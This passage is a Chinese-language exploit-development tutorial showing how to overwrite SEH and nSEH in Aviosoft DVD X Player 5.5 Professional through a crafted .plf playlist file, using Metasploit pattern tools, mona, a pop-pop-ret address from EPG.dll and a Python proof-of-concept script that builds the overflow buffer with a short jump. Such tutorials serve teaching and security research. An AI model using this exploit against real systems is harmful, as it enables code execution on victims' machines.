返回介绍

覆写 SEH 和 Nseh

发布于 2025-01-03 23:32:53 字数 3335 浏览 0 评论 0 收藏 0

接下来用 metasploit 模式字符串替换原字符串(注意保持缓冲区长度一致).

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]
f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5
Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

重复前面步骤,用 mona 分析崩溃. 如下图,我们关心的是覆写 SEH, 从图中可以知道 612 字节可以覆盖到 SEH.

不错,接下来我们用下面这样子来替换前面代码相应部分。

buffer = "A"*608 + [nSEH] + [SEH] + "D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384

记住我们要把要用 pop pop retn 指令覆写 SEH,.用 mona 的

!mona seh

可以帮助我们找到这条指令.看下图,值得一提的是, mona 已经过滤掉来自 SafeSEH 模块的指针。

这些地址大部分都可以用,记住不包含坏字符即可. 通常我会选择 pop pop retn 而不是 pop pop retn n. 在 immunity debugger 的安装目录下找到 SEH.txt, 里面有 2968 个合法的指针. 有序小序的 CPU 架构,需要扭转字节顺序。

Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384

我们先不管 nSEH, 在调试的时候再看看需要填充什么才合适. 注意 pop pop retn 指令来自 DVD Player 的 EPG.dll 模块,这意味着这个漏洞利用程序更稳定,新的 POC 看起来像下面这样子:

#!/usr/bin/python -w
  
filename="evil.plf"
 
#---------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                     #
#                                       #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes              #
# (2) nseh = ????                               #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll         #
# (3) Shellcode space = 1384-bytes                      #
#---------------------------------------------------------------------------#
 
buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

重新生成 plf 文件并调试打开它, Shift+F9 通过第一次异常后触发了我们的断点. 如下图

完美,如果继续 F7 单步执行,最终程序会执行到 BBBB(Nseh). 我们可以看到覆盖在 SEH 的指针被转化为操作码,我们可以用 Shellcode 替换 SEH 后面的”D”*1384, 现在只需要在 nSEH 写入跳转指令以便跳到”D”*1384,也就是 Shellcode. 可以用调试器完成,观察下面的图:

我们需要往后跳至少 4 个字节(\x90\x90+SEH) 才能跳到位于 SEH 之后的 Shellcode, 新的缓冲区布置如下:

buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文